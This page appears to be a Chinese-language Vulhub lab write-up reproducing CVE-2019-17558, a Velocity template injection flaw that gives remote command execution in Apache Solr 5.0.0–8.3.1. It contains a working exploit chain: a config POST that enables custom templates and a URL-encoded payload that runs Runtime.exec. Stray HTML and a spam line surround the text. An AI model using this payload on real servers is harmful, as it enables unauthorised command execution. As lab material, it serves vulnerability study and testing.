<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Solr Velocity 注入遠程命令執行漏洞 (CVE-2019-17558)

    Path solr/CVE-2019-17558

    Apache Solr 是一個開源的搜索服務器。

    在其 5.0.0 到 8.3.1版本中,用戶可以注入自定義模板,通過Velocity模板語言執行任意命令。

    具體漏洞原理和POC可以參考:

    漏洞環境

    執行如下命令啟動一個Apache Solr 8.2.0服務器:

    docker-compose up -d
    

    服務啟動后,訪問http://your-ip:8983即可查看到一個無需權限的Apache Solr服務。

    漏洞復現

    默認情況下params.resource.loader.enabled配置未打開,無法使用自定義模板。我們先通過如下API獲取所有的核心:

    http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
    

    Vulhub里唯一的核心是demo

    通過如下請求開啟params.resource.loader.enabled,其中API路徑包含剛才獲取的core名稱:

    POST /solr/demo/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    之后,注入Velocity模板即可執行任意命令:

    http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类